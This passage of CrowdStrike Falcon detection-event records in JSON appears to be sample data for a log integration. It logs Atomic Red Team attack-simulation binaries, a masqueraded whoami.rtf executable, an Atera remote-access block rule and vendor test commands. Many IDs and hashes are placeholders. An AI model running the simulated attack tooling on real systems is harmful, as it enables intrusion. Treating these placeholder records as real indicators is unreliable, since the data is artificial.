,{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":""}} +{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"Hostname":"FRHOSTNAME","Name":"OnDemandScanfiletest","Severity":70,"FileName":"testfile.vmx","FilePath":"D:\\RECYCLER\\testpath\\testfile.vmx","SHA256String":"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections","AgentId":"1122025ec596478d830520000000000","CompositeId":"7da61e27e34f4b8394081896af72e2c7","LocalIP":"81.2.69.144","MACAddress":"88-44-66-77-11-22","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","HostGroups":"2a5927e82d644aa9,be74ccf2c2f444cf900","SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","Type":"ods","LocalIPv6":""}} +{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":"2a02:cf40::"}} +{"metadata":{"customerIDString":"cccccccccccccccccccccccccccccccc","offset":1532939,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1742584040000,"version":"1.0"},"event":{"ProcessStartTime":1742583971,"ProcessEndTime":1742583972,"ProcessId":43185188660,"ParentProcessId":43146803382,"Hostname":"CISO-DUMMY-CSDEV","UserName":"Administrator","Name":"Suspicious Activity","Description":"For evaluation only - benign, no action needed.","Severity":30,"SeverityName":"Low","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","CommandLine":"choice /m crowdstrike_sample_detection","SHA256String":"0000000000000000000000000000000000000000000000000000000000000000","MD5String":"00000000000000000000000000000000","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"CISO-DUMMY-CSDEV","FalconHostLink":"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424?_cid=cccccccccccccccccccccccccccccccc","AgentId":"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee","CompositeId":"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424","LocalIP":"192.168.33.133","MACAddress":"00-0c-29-46-56-09","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, standard detection.","PatternDispositionValue":0,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false,"ContainmentFileSystem":false},"ParentImageFileName":"cmd.exe","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"explorer.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","HostGroups":"88888888888888888888888888888888","PatternId":10197,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42952716106","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","LocalIPv6":""}} +{"metadata":{"customerIDString":"cccccccccccccccccccccccccccccccc","offset":1532956,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1742584202000,"version":"1.0"},"event":{"ProcessStartTime":1742584138,"ProcessEndTime":1742584138,"ProcessId":43186863960,"ParentProcessId":43046029968,"Hostname":"CISO-DUMMY-CSDEV","UserName":"Administrator","Name":"Suspicious Activity","Description":"A process triggered a high severity custom rule.","Severity":70,"SeverityName":"High","FileName":"atera.exe.exe","FilePath":"\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe","CommandLine":"\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\" ","SHA256String":"0000000000000000000000000000000000000000000000000000000000000000","MD5String":"00000000000000000000000000000000","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"CISO-DUMMY-CSDEV","FalconHostLink":"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080?_cid=cccccccccccccccccccccccccccccccc","AgentId":"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee","IOCType":"hash_sha256","IOCValue":"0000000000000000000000000000000000000000000000000000000000000000","CompositeId":"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080","LocalIP":"192.168.33.133","MACAddress":"00-ff-12-46-56-09","Tactic":"Custom Intelligence","Technique":"Indicator of Attack","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false,"ContainmentFileSystem":false},"ParentImageFileName":"explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"userinit.exe","GrandParentCommandLine":"C:\\Windows\\system32\\userinit.exe","IOARuleInstanceID":"167","IOARuleInstanceVersion":2,"IOARuleName":"Initial Access via Remote Service (Atera) Block","IOARuleGroupName":"Custom IOA Group - Windows","HostGroups":"88888888888888888888888888888888","AssociatedFile":"\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe","PatternId":41001,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42953194054","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","LocalIPv6":""}} +{"event":{"AgentId":"4ebcabee560d4345b025d6c732656ba9","AggregateId":"aggind:4ebcabee560d4345b025d6c732656ba9:1237323","CommandLine":"./whoami.rtf","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048","DataDomains":"Endpoint","Description":"Anexecutablewasrunwithacontradictingfileextension","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"whoami.rtf","FilePath":"/home/devuser/whoami.rtf","GrandParentCommandLine":"sshd:devuser@pts/0","GrandParentImageFileName":"sshd","GrandParentImageFilePath":"/usr/sbin/sshd","Hostname":"navnit-test-instance","LocalIP":"10.128.0.24","LocalIPv6":"","LogonDomain":"","MACAddress":"42-01-0a-80-00-18","MD5String":"3e4129c7bb0c01793aa9ecad38ccb4d0","Name":"SuspiciousActivity","Objective":"KeepAccess","ParentCommandLine":"-bash","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1753351172854337800,"PatternDispositionDescription":"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":true,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":true,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":272,"PatternId":145,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1753352263,"ProcessId":1753352263802791400,"ProcessStartTime":1753352263,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490","Severity":50,"SeverityName":"Medium","SourceProducts":"FalconInsight","SourceVendors":"CrowdStrike","Tactic":"DefenseEvasion","Technique":"Masquerading","Type":"ldt","UserName":"devuser"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1753352333000,"eventType":"EppDetectionSummaryEvent","offset":2092190,"version":"1.0"}} +{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_informational","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760","DataDomains":"Endpoint","Description":"An informational level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_medium","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"d53f596e5ea7117ac18aae9f9bd8a481","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_low","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43450917603,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10307,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43455859437,"ProcessStartTime":1752575381,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575448000,"eventType":"EppDetectionSummaryEvent","offset":2021281,"version":"1.0"}} +{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_low","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776","DataDomains":"Endpoint","Description":"A low level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_high","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"86920ea0b350c9a3e3752a6aba6e1143","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_medium","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43448891811,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10306,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43450917603,"ProcessStartTime":1752575368,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575434000,"eventType":"EppDetectionSummaryEvent","offset":2021280,"version":"1.0"}} +{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_high","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824","DataDomains":"Endpoint","Description":"A high level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"099d5a3c2f87817751337a9cf8d6a70b","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_critical","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43444774922,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10304,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43447659975,"ProcessStartTime":1752575345,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":70,"SeverityName":"High","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575421000,"eventType":"EppDetectionSummaryEvent","offset":2021278,"version":"1.0"}} +{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_critical","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528","DataDomains":"Endpoint","Description":"A critical level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"bd5bfe63bc48507039f7e3afa5b01a70","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43425257674,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10303,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43444774922,"ProcessStartTime":1752575334,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":90,"SeverityName":"Critical","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575410000,"eventType":"EppDetectionSummaryEvent","offset":2021272,"version":"1.0"}} +{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_medium","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744","DataDomains":"Endpoint","Description":"A medium level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_critical","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"645b4fecb42fb954858850fe127ceb98","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_high","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43447659975,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10305,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43448891811,"ProcessStartTime":1752575354,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":50,"SeverityName":"Medium","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575404000,"eventType":"EppDetectionSummaryEvent","offset":2021265,"version":"1.0"}} +{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42950506623","CommandLine":"choice /m crowdstrike_sample_detection","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448","DataDomains":"Endpoint","Description":"For evaluation only - benign, no action 